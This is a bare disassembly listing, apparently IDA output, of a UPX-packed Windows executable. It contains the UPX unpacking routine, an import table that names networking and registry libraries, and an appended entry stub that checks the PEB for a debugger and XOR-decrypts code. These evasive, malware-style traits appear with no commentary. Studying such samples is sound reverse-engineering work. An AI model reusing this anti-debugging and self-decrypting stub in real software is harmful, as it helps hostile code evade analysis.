loc_30906B22: ; CODE XREF: UPX1:30906B10j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_30906B29: ; CODE XREF: UPX1:30906B20j jb short loc_30906B18 mov eax, 1 loc_30906B30: ; CODE XREF: UPX1:30906B3Fj ; UPX1:30906B4Aj add ebx, ebx jnz short loc_30906B3B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_30906B3B: ; CODE XREF: UPX1:30906B32j adc eax, eax add ebx, ebx jnb short loc_30906B30 jnz short loc_30906B4C mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_30906B30 loc_30906B4C: ; CODE XREF: UPX1:30906B41j xor ecx, ecx sub eax, 3 jb short loc_30906B60 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_30906BD2 mov ebp, eax loc_30906B60: ; CODE XREF: UPX1:30906B51j add ebx, ebx jnz short loc_30906B6B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_30906B6B: ; CODE XREF: UPX1:30906B62j adc ecx, ecx add ebx, ebx jnz short loc_30906B78 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_30906B78: ; CODE XREF: UPX1:30906B6Fj adc ecx, ecx jnz short loc_30906B9C inc ecx loc_30906B7D: ; CODE XREF: UPX1:30906B8Cj ; UPX1:30906B97j add ebx, ebx jnz short loc_30906B88 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_30906B88: ; CODE XREF: UPX1:30906B7Fj adc ecx, ecx add ebx, ebx jnb short loc_30906B7D jnz short loc_30906B99 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_30906B7D loc_30906B99: ; CODE XREF: UPX1:30906B8Ej add ecx, 2 loc_30906B9C: ; CODE XREF: UPX1:30906B7Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_30906BBC loc_30906BAD: ; CODE XREF: UPX1:30906BB4j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_30906BAD jmp loc_30906B1E ; --------------------------------------------------------------------------- align 4 loc_30906BBC: ; CODE XREF: UPX1:30906BABj ; UPX1:30906BC9j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_30906BBC add edi, ecx jmp loc_30906B1E ; --------------------------------------------------------------------------- loc_30906BD2: ; CODE XREF: UPX1:30906B5Cj pop esi mov edi, esi mov ecx, 84h loc_30906BDA: ; CODE XREF: UPX1:30906BE1j ; UPX1:30906BE6j mov al, [edi] inc edi sub al, 0E8h loc_30906BDF: ; CODE XREF: UPX1:30906C04j cmp al, 1 ja short loc_30906BDA cmp byte ptr [edi], 1 jnz short loc_30906BDA mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_30906BDF lea edi, [esi+4000h] loc_30906C0C: ; CODE XREF: UPX1:30906C2Ej mov eax, [edi] or eax, eax jz short loc_30906C57 mov ebx, [edi+4] lea eax, [eax+esi+6000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+608Ch] xchg eax, ebp loc_30906C29: ; CODE XREF: UPX1:30906C4Fj mov al, [edi] inc edi or al, al jz short loc_30906C0C mov ecx, edi jns short near ptr loc_30906C3A+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_30906C3A: ; CODE XREF: UPX1:30906C32j mov ecx, 0AEF24857h push ebp call dword ptr [esi+6090h] or eax, eax jz short loc_30906C51 mov [ebx], eax add ebx, 4 jmp short loc_30906C29 ; --------------------------------------------------------------------------- loc_30906C51: ; CODE XREF: UPX1:30906C48j call dword ptr [esi+6094h] loc_30906C57: ; CODE XREF: UPX1:30906C10j popa jmp loc_309022DF ; --------------------------------------------------------------------------- align 400h UPX1 ends ; Section 3. (virtual address 00007000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00007000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 30907000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 70C4h, 708Ch, 3 dup(0) dd 70D1h, 709Ch, 3 dup(0) dd 70DEh, 70A4h, 3 dup(0) dd 70E9h, 70ACh, 3 dup(0) dd 70F4h, 70B4h, 3 dup(0) dd 7100h, 70BCh, 5 dup(0) dd 77E805D8h, 77E7A5FDh, 77E75CB5h, 0 dd 77DD189Ah, 0 dd 77C3528Dh, 0 dd 77D4C96Ah, 0 dd 7620AFB6h, 0 dd 71AB1A6Dh, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h dd 646Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) ; --------------------------------------------------------------------------- public start start: pop ebx call loc_3090725F mov esp, [esp+8] mov eax, 4EBh ; CODE XREF: UPX2:3090720Fj jmp short near ptr loc_3090720A+1 ; --------------------------------------------------------------------------- mov eax, fs:18h mov eax, [eax+30h] movzx eax, byte ptr [eax+2] cmp eax, 0 jnz short locret_3090725E call $+5 pop ebp sub ebp, 402320h mov eax, [ebp+402367h] add eax, [ebp+40236Fh] mov esi, eax mov eax, [ebp+40236Bh] add eax, [ebp+40236Fh] push eax mov edi, esi xor ecx, ecx loc_3090724D: ; CODE XREF: UPX2:3090725Cj lodsb xor al, [ebp+402377h] stosb inc ecx cmp ecx, [ebp+402373h] jl short loc_3090724D locret_3090725E: ; CODE XREF: UPX2:30907220j retn ; --------------------------------------------------------------------------- loc_3090725F: ; CODE XREF: UPX2:30907201p sub eax, eax push dword ptr fs:[eax] mov fs:[eax], esp mov eax, 12345678h xchg eax, [ebx] add [eax+0], dl ; --------------------------------------------------------------------------- db 2 dup(0), 6Bh dd 0 db 90h db 30h, 0, 1Eh dd 100000h, 760h dup(0) UPX2 ends ; Section 4. (virtual address 00009000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00009000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 30909000h align 2000h _idata2 ends end start